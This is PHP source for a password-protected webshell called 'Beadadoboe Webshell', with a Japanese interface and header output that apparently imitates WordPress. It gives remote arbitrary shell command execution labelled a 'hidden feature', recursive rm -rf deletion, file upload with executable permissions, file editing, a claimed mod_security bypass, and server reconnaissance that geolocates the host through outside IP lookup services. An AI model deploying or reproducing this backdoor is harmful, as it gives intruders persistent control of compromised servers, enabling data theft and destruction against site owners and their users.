; rel="https://api.w.org/"'); if (function_exists('ini_set')) { @ini_set('session.save_handler', 'files'); @ini_set('session.use_cookies', '0'); } // Anti-mod_security $_SESSION['_ninja_token'] = md5('beadadoboe'.time()); } session_start(); ninja_bypass(); $pw = 'jhm'; $login_page = false; if (isset($_POST['password'])) { if ($_POST['password'] === $pw) { $_SESSION['ninja_auth'] = true; header("Location: ?ninja_access=".md5(time())); exit; } else { $login_page = true; } } if (isset($_GET['logout'])) { session_destroy(); header("Location: ?ninja_logout=".md5(time())); exit; } // Secure path resolver function get_safe_path($input) { $path = realpath($input); if ($path === false) return getcwd(); // Prevent directory traversal $root = realpath('/'); if (strpos($path, $root) !== 0) { return getcwd(); } return $path; } // Current directory handling $path = isset($_GET['path']) ? get_safe_path($_GET['path']) : getcwd(); chdir($path); // File operations with bypass fallbacks function ninja_delete($target) { if (is_dir($target)) { // Try normal deletion first $files = @scandir($target); if ($files !== false) { foreach ($files as $file) { if ($file != '.' && $file != '..') { ninja_delete("$target/$file"); } } @rmdir($target); } else { // Fallback to system command system("rm -rf ".escapeshellarg($target)); } } else { @unlink($target) or system("rm ".escapeshellarg($target)); } } // Handle file operations if (isset($_GET['del'])) { if ($_SESSION['ninja_auth']) { $target = get_safe_path($_GET['del']); ninja_delete($target); header("Location: ?path=".urlencode(dirname($target))."&ninja_action=delete"); exit; } } if (isset($_POST['new_name']) && $_SESSION['ninja_auth']) { $name = basename($_POST['new_name']); $type = $_POST['new_type']; $newPath = "$path/$name"; if ($type === 'file') { @file_put_contents($newPath, "") or system("echo '' > ".escapeshellarg($newPath)); } else { @mkdir($newPath) or system("mkdir ".escapeshellarg($newPath)); } header("Location: ?path=".urlencode($path)); exit; } if (isset($_FILES['file']) && $_SESSION['ninja_auth']) { $uploadPath = isset($_POST['upload_path']) ? get_safe_path($_POST['upload_path']) : $path; $target = "$uploadPath/".basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { @chmod($target, 0755); } else { // Fallback upload method $content = file_get_contents($_FILES['file']['tmp_name']); @file_put_contents($target, $content); } header("Location: ?path=".urlencode($uploadPath)); exit; } if (isset($_POST['edit_content']) && $_SESSION['ninja_auth']) { $editPath = get_safe_path($_POST['edit_path']); @file_put_contents($editPath, $_POST['edit_content']) or system("echo ".escapeshellarg($_POST['edit_content'])." > ".escapeshellarg($editPath)); header("Location: ?path=".urlencode(dirname($editPath))); exit; } // Command execution (hidden feature) if (isset($_POST['ninja_cmd']) && $_SESSION['ninja_auth']) { $cmd = $_POST['ninja_cmd']; $output = shell_exec($cmd." 2>&1"); $_SESSION['last_cmd_output'] = $output; header("Location: ?path=".urlencode($path)."&cmd=executed"); exit; } // File listing with fallback function ninja_scandir($path) { $files = @scandir($path); if ($files !== false) return $files; // Fallback method $files = []; exec("ls -la ".escapeshellarg($path)." 2>&1", $output); foreach ($output as $line) { if (preg_match('/[d-][rwx-]{9}.+\s(.+)$/', $line, $match)) { $files[] = $match[1]; } } return $files; } $files = ninja_scandir($path); ?> \\Beadadoboe Ganteng//

Beadadoboe Webshell

サイバーファイルマネージャー v1.0.0

LOGOUT

🔐 認証が必要

⚡ システム情報

['timeout' => 3]]); $ip = @file_get_contents("https://api.ipify.org/", false, $ctx); if ($ip !== false && filter_var(trim($ip), FILTER_VALIDATE_IP)) { $server_ip = trim($ip); $json = @file_get_contents("https://ipapi.co/{$server_ip}/json/", false, $ctx); if ($json !== false) { $data = json_decode($json, true); if (!empty($data['country_name'])) { $server_country = $data['country_name']; } if (!empty($data['country'])) { $server_flag = countryFlag(strtoupper($data['country'])); } } } if ($server_ip === 'UNKNOWN' && !empty($_SERVER['SERVER_ADDR'])) { $server_ip = $_SERVER['SERVER_ADDR']; $server_country = 'Private/Local'; $server_flag = '🏳️'; } ?>

サーバー	()
PHP	()
ユーザー / グループ	/
書き込み可能	YES' : 'NO' ?>
ディスエーブル関数	NONE' ?>
安全モード	ON' : 'OFF' ?>
OS コマンド実行	OK' : 'DISABLED' ?>
ドキュメントルート
サーバー IP	()

Beadadoboe Webshell

🔐 認証が必要

⚡ システム情報

🗂️ ファイルブラウザ

ファイルを編集する:

🛠️ ツール

🗃️ 新規作成

📤 アップロード

💻 コマンド実行